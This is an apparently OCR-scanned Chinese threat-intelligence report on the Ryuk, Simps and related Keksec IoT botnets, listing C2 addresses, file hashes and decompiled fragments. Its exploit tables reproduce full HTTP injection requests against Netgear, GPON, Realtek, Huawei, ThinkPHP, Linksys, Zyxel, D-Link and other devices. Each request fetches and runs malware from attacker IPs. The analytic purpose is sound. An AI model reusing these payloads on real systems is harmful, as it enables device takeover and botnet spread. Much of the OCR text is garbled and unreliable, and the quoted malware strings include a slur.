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“This Device Is Infected By Ryuk Botnet Instagram:@urOa_Discord:UR0A#2199-Ryuk#4652”,,

BT , KeksecHTRARIEERILIEEMMANKABEN , ZERMERESNT | RBLYRE TE FAMiraiz Gafgyt 32 kg B2 A |, (BIEHAXA
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. Ryuk Botnet

Ryuk Botnet24 BFHT A KR EH RN BB MEARS , HE FRALEITIIENR M ERIKeksec, RBENRRE FRIKIEBHIR
PEDCHEH , FEBTHLYSE : “This Device Has Been Infected by Ryuk Botnet Made By urOa And Keksec Group”,

if { sub_BB3O() <= @ )
i
if ( ((int (* id))sub_BIECY(} )
{
sub_8ADR( "Connection successful”);
f

- e
Device Mas Been Infec ted by Ryuk Botnet Made By ur@a And Keksec Group :)\rin™, 1, 79, JH

! k
if ( *{_ORD *){vE + 4) )
sub_assa(&vo, =( A0 *J(vE + 4));

strepy(BvS, "unknow
= sub_8616(dword_18E28, "¥s", 8u9);

= sub_8ADB( "Connection Failed™);
Ryuk Botnet&TFtsunamiZ2ty] , FENEER A2 DDoSK .

if ( result =8 )“
1
result = (int)sub_A878(*vi, "STD"); /{ STD Flood
if ( result )
{
v3 = sub_8ACA((int)"Attack.log", (int)"a+");
sub_8B84((int)v3, "Ryuk DDoS Attack Sent To: Hs\r\n", vB[1]);
sub_8944(v :)

Ryuk Botnet % M4 , 3% lurda.mips , ur0a.i686 , ur0a.x86_64..... TR A4 , HARAERA N T UPXEE, BTt FHRAEUS % -

Ehligit PHERE

185.224.129.235  /Ryuk/urOa.mips
107.172.156.158  /Ryuk/ur0a.i686
107.172.156.158  /Ryuk/nigger.sh
192.236.146.182  /Ryuk/ur0a.i586
23.95.8.110 /Ryuk/ur0a.x86_64
/Ryuk/urOa.armv4l
/Ryuk/urOa.armveél
/Ryuk/urOa.armv7I
/Ryuk/urOa.armv5l
/Ryuk/urOa.mipsel

B ARANF C2RABASC A N TFEAE | IR B B FinstagramPA R DiscordBXEE AR, , TAEHIM—LEhRAF , C2R BR AL EHUNZER A7

BL util_encryption

SUB R3, R11l, #-infected

MOV R@, R3

BL puts

LDR R3, =avYmnx2ijMhjznx2 ; "¥Ymnx2Ij{nhj2HNx2Nskjhyji2G~2w~zp2Gtysfy2”...
suB R2, R11, #- mes-age

MOV R12, #@x53 ;

MOV R@, R2 ; dest
MOV R1, R3 i src
MoV R2, R12 H

BL memepy

suB R3, R1l, #- mo.:age

MoV R&, R3 str

BL util encryption

LDR Re -aInfectednigger ; "I

ﬁﬁ%)ﬁ This-Device-ls-Infected- By-Ryuk Botnet Instagram @urOa_Discord:UR0A#2199-Ryuk#4652
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instagram: @ur0a_
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BN, FRAEIREI BT & G FFACVE-2021-33514 )RR F XS HIA S fFnigger.sh.

VULNERABILITY AFFECTED Exp
DEVICES

CVE-2021-33514 NETGEAR  GET /setup.cgi?token=cd/tmp;rm-

rfnigger.sh;wgethttp://107.172.156.158/Ryuk/nigger.sh;chmod+xnigger.sh;./nigger.sh;wgethttp://195.133.40.24,

A fHnigger.shif T T A2 E FTRyuk Botnet KD,

XTj(iZ:HEﬁZFRVUK Botnetfi 534 , 1AL :
1.Ryuk Botnet/BZH25 Jarlog SLHKATELE ;
2 BT T REENBEBRTRHA frniggershBT L IR EE ;
3.Ryuk Botnet /IR A ek ¥ an B HIR T R/ SEE
4.C277fE A RIS N 04,

5 KO INResH—.

T | B AIEEIA ARy UK BotnetE — MbT I A VI B RN EH SARWEF ML, FE , BT UEEIKeksec i —LEE
=

1. keksecizEHybridMQ-keksec (48 &MiraiflGafgytBARLEHTSE)

2 A% 4 B #ykeksecTFiaIEE Simps Botnet (ETFMiraiZ2ii)

3.445 8 %] gods of destny BotnetFF a3, (FTFMiraiZ2ss)

4.4-426 A¥IRyuk BotnetFHIBIR I ESNEk , L L MRAMEL (FETtsunamideis)

TEKeksecAFHITEFNT |, ZLBLR A T FAMiraizk GafgytZe ) Sef S 4Xh5 , Simps Botnetffigods of destny Botnet¢ R KIERE miraiZ2#s |,
{BKeksecift FiZ1K FtsunamiZ2 Mk HEE T Frid{E S MZ& Ryuk Botnet , MtsunamifZhgE AR LEFDDoS |, FEFEITREESRGHHERSE
gk — RIS A RERS | REIIMXE.

=. Simps Botnet && gods of destny Botnet

{8 M4 A 5 Simps Botnetffigods of deStny Botnettll 5Ryuk Botnet RAMRIKIRNAE , MM TERERIARR, S THIEHNSE— 4
EEEMRERT R WKekSec BLURS: , A RMALAN R BHRTRNER,
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Simps Botnetft—MRAT |, #RIR X135,

VULNERABILITY AFFECTED Exp
DEVICES

CVE-2018-10561 Dasan “POST /GponForm/diag_Form?images/ HTTP/1.1\r\n
GPON User-Agent: Hello, World\r\n
routers Accept: */*\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host="busybox+wget+http://23.95.80.200/gpo

CVE-2018-10562 Dasan “POST /GponForm/diag_Form?images/ HTTP/1.1\r\n

GPON User-Agent: Hello, World\r\n

routers Accept: */*\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host="busybox+wget+http://23.95.80.200/gpo
gaf;sh+/tmp/gaf &ipv=0"

CVE-2014-8361 Realtek “POST /picdesc.xml HTTP/1.1\r\n
Host: 127.0.0.1:52869\r\n
Content-Length: 630\r\n
Accept-Encoding: gzip, deflate\r\n
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection: 1#AddPortMapping\r\n
Accept: */*\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n
Connection: keep-alive\r\n
\r\n
<?xml version=\"1.0\" ?><s:Envelope xmins:s=\"http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle=
\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmiIns:u=\"urn:schemas-upnp-or:
vice:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalP
ol>TCP</NewProtocol><NewlInternalPort>44382</NewInternalPort><NewInternalClient>"cd /var; rm -rf mips; \
http://23.95.80.200/Simps/mips -O mips; chmod 777 mips; ./mips realtek’</NewInternalClient><NewEnabled>
/NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>(
uration></u:AddPortMapping></s:Body></s:Envelope>\r\n
\r\n”

CVE-2017-17215 Huawei “POST /ctrit/DeviceUpgrade_1 HTTP/1.1\r\n
HG532 Content-Length: 430\r\n

Connection: keep-alive\r\n
Accept: */*\r\n
Authorization: Digest username=\"dslf-config\”, realm=\"HuaweiHomeGateway\”, nonce=\"88645cefb1f9edele
3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=
MD5\", gop=\"auth\”, nc=00000001, cnonce=\"248d1a2560100669\"\r\n
\r\n
<?xml version=\"1.0\" ?><s:Envelope xmins:s=\"http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle=
\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlIns:u=\"urn:schemas-upnp-org:service
NPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 23.95.80.200 -l /tmp/binary -r /Simps/mips; /bir
usybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEI
ownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n”
“POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\n”
Content-Length: 430\r\n
Connection: keep-alive\r\n
Accept: */*\r\n
Authorization: Digest username=\"dslf-config\”, realm=\"HuaweiHomeGateway\”, nonce=\"88645cefb1f9edele!
3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm-
MD5\”, gop=\"auth\”, nc=00000001, cnonce=\"248d1a2560100669\"\r\n
\r\n
<?xml version=\"1.0\" ?><s:Envelope xmins:s=\"http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle=
\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmins:u=\"urn:schemas-upnp-org:service
NPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 23.95.80.200 -I /tmp/binary -r /wrgjwrgjwrg246:
56356/n2; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><!
wDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n
\r\n”
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CVE-2018-20062

ThinkPHP

“GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[
[1="'wget http://23.95.80.200/Simps/x86_64 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf
thinkphp” HTTP/1.1\r\n

Connection: keep-alive\r\n

Accept-Encoding: gzip, deflate\r\n

Accept: \r\n

User-Agent: WW3V1SRC/2.0\r\n

\r\n”

Linksys RCE

“POST /tmUnblock.cgi HTTP/1.1\r\n

Host: 127.0.0.1:80\r\n

Connection: keep-alive\r\n

Accept-Encoding: gzip, deflate\r\n

Accept: \r\n

User-Agent: python-requests/2.20.0\r\n

Content-Length: 227\r\n

Content-Type: application/x-www-form-urlencoded\r\n

\r\n
ttep_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Tmipsel%3B+wget+http%3A%2F %2F23.95.80.200%2F Simps%2F Tr
+Tmipsel%3B+.%2F Tmipsel+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action:

Zyxel RCE

Zyxel

“POST /cgi-bin/ViewLog.asp HTTP/1.1\r\n

Host: 192.168.0.14:80\r\n

Connection: keep-alive\r\n

Accept-Encoding: gzip, deflate\r\n

Accept: */*\r\n

User-Agent: python-requests/2.20.0\r\n

Content-Length: 227\r\n

Content-Type: application/x-www-form-urlencoded\r\n

\r\n

/bin/busybox wget http://23.95.80.200/N1qq3r.sh; chmod +x N1qq3r.sh; ./N1qqg3r.sh

UPnP SOAP
Command
Execution

D-Link
Devices
UPNnP
SOAP

“POST /UD/?9 HTTP/1.1\r\n

User-Agent: OSIRIS\r\n

Content-Type: text/xml\r\n

SOAPAction: urn:schemas-upnp-org:service:WANIPConnection: 1#AddPortMapping\r\n

\r\n

<?xml version=\"1.0\" ?><s:Envelope xmins:s=\"http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle:
\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmins:u=\"urn:schemas-upnp-or
vice:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalP
olI>TCP</NewProtocol><NewlInternalPort>44382</NewInternalPort><NewInternalClient>">/tmp/.e && cd /tmp;
/dev/.e && cd /var/dev; wget http://23.95.80.200/N1qqg3r.sh -O — > Hades.sh; chmod 777 Hades.sh; sh Hades.:
h; rm Hades.sh; iptables -A INPUT -p tcp —destination-port 5555 -j DROP’</NewlInternalClient><NewEnabled>
</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration:>
Duration></u:AddPortMapping></s:Body></s:Envelope>"

JAWS Webserver
unauthenticated
shell command
execution

“GET /shell?cd+/tmp;rm+-rf+*;wget+ 23.95.80.200/Simps/armv4l;chmod+777+/tmp/armv4l;sh+/tmp/armv4l HT'
\n

User-Agent: Hello, world\r\n

Host: 127.0.0.1:80\r\n

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n

Connection: keep-alive\r\n

\r\n”

Linksys RCE

Linksys
E-series
devices

“POST /tmUnblock.cgi cd /tmp; rm -rf N1qqg3r.sh; wget http://23.95.80.200/N1qqg3r.sh;chmod 777 N1qq3r.sh;./N

HNAP
SoapAction-
Header
Command
Execution

D-Link
devices

“POST /HNAP1/ HTTP/1.0\r\n

Content-Type: text/xml; charset=\"utf-8\"\r\n

SOAPACction: http://purenetworks.com/HNAP1/ cd /tmp && rm -rf * && wget http://23.95.80.200/Simps/mips &&
hmod +x mips;./mips hnap’\r\n

Content-Length: 640\r\n

\r\n

<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmIns:xsi=\"http://www.w3.0rg/2001/XMLSchema-ir
ance\” xmins:xsd=\"http://www.w3.0rg/2001/XMLSchema\” xmins:soap=\"http://schemas.xmlsoap.org/soap/env
e/\"><soap:Body><AddPortMapping xmiIns=\"http://purenetworks.com/HNAP 1/\"><PortMappingDescription>foc
ortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMapj
rotocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Bod
oap:Envelope>\r\n

\r\n”
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Comtrend VR-

3033

RCE

“GET /ping.cgi?pinglpAddress=google.fr;wget%20http://23.95.80.200/N1qq3r.sh%20-0%20-%3E%20/tmp/jno;
p/jno%27/&sessionKey=1039230114’$ HTTP/1.1\r\n

Connection: keep-alive\r\n

Accept-Encoding: gzip, deflate\r\n
Accept: */*\r\n
User-Agent: Hello, World\r\n

“GET /boaform/admin/formPing?target_addr=;wget%20http://23.95.80.200/N19q3r.sh%20-0%20-%3E%20/tm

\r\n”
CVE-2020-8958  Netlink
GPON /tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1\r\n
Router Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: */*\r\n
User-Agent: Hello, World\r\n
\r\n”
ZRAFTAFhREM T
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RAW UDP Flood MickMame EEaRIP | w0
&
MULL ICMP Flood | MickMame EEaRIP | w0
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engine
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MD5 :

1¢8d2898439c95d5a8e566ba285f3129

b7a1cd513ea3aff1847fb5c7cdb9ca8d

87f1d9c6d33dc14b3186819d7740d019

9559d8521¢c4b65b5¢8d06d40fddddc83

339d107321efca74553e4f5eac03d779

7f078854c3e0e763580d2351dc2357a

1c5¢75f€918e27e53104146c6643655¢e

d3f6c8ea992b1c7bec2a8cbeae81afdc

€79846¢d74293dfcf5f37381a228fdbe

4aac6b909923a9c07fdfda6c24ced04c

1dddd6878b523130135075dca3e19d6e

28fc2bb60f8d290cf9813ad2c95becbd

40ff44e10f03f8cebcad2d78f0fde8d0

54750cc2baf72aea1c9232a2ce0bb942

627758db57de511b58919450988bc288

04c38d5b33429714be8de125¢cb8123a8

72ac21c4e9cbd02f42d7aec452c21b7c

09536541d540f8f8c32ed5fe7163¢c789

06f1916f2357c71931¢148f79718faa2

2c0510b8b14fcdbbddeaec331501ed0e

082694cf07e984de5b57662a198c9012

a629df5e8482b15573fdb990calbf4b5

3582e1c44b7828fa953da03d9024b09b

1ee802a9710f4dea9c750eebc0a15352

766ecab1137b0e186efb1ad8eae43ae3

6b26a6f28090b6e9f20579e25b87f07e

4273f0f1759a141629b62d7b428c9a25

8a0d9cbed0a7162d28cadaa18b83762a

36eb893b647c50b16d19da8505402610

38e52050f018d7dd592d596f00caf076

cb4b7615028a9bcaaf461664787cf5a2

9b72a6d18cdb63464f1f997eee06df2e

f0f2d1b7f4ffd565b6da0c0540chb3e66

fe9f307825d082e13b3665b676327d9f

7871e7e19d2db1616381104f40896c6

55e85759962bb889cc113a3d9b4d6e25
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ef77b873fb4cfcd474f24f82f3df4a49

d9996e501083e055¢c916e69ad4b2cb70

ec15c463ce5c0a286663402d225140ac

91a94a1492fc7a48aa32ac57e098151b

Ip
107.172.156.158
192.236.146.182
185.224.129.235
45.14.224 127
23.95.8.110
Strings
instagram: @urOa_
Discord: UROA#2199
gods of destny
Ryuk Botnet
Simps Botnet
urOa.mips
ur0a.i686
nigger.sh
ur0a.i586
urOa.x86_64
urQa.armv4l
urQa.armv6l
urOa.armv7I
urOa.armv5l|

urOa.mipsel

XTRESB=E
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7/7



